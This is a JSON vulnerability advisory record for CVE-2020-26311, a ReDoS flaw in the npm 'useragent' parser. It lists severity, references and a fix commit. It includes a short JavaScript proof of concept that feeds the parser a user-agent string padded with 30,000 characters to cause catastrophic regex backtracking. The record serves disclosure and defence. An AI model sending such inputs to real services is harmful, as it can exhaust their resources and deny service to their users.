{"id":"CVE-2020-26311","aliases":[],"url":"https://o3.security/vulnerability/CVE-2020-26311","summary":"useragent Regular Expression Denial of Service vulnerability","details":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n   const useragent = require(\\\"useragent\\\");\n\n   // Create a malicious user-agent that leads to excessive backtracking\n   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';\n\n   // Parse the malicious user-agent\n   const agent = useragent.parse(maliciousUserAgent);\n\n   // Call the toString method to trigger the vulnerability\n   const result = await agent.device.toString();\n   console.log(result);\n}\n\nawait exploit();\n```","published":"2024-10-26T21:30:47Z","modified":"2025-09-03T15:17:53Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"useragent","fixedVersion":null}],"fix":{"url":"https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b","label":"3rd-Eden/useragent@4c3ee79"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26311"},{"type":"WEB","url":"https://github.com/3rd-Eden/useragent/issues/167"},{"type":"WEB","url":"https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b"},{"type":"PACKAGE","url":"https://github.com/3rd-Eden/useragent"},{"type":"WEB","url":"https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568"},{"type":"ADVISORY","url":"https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-09-03T15:17:53Z"}}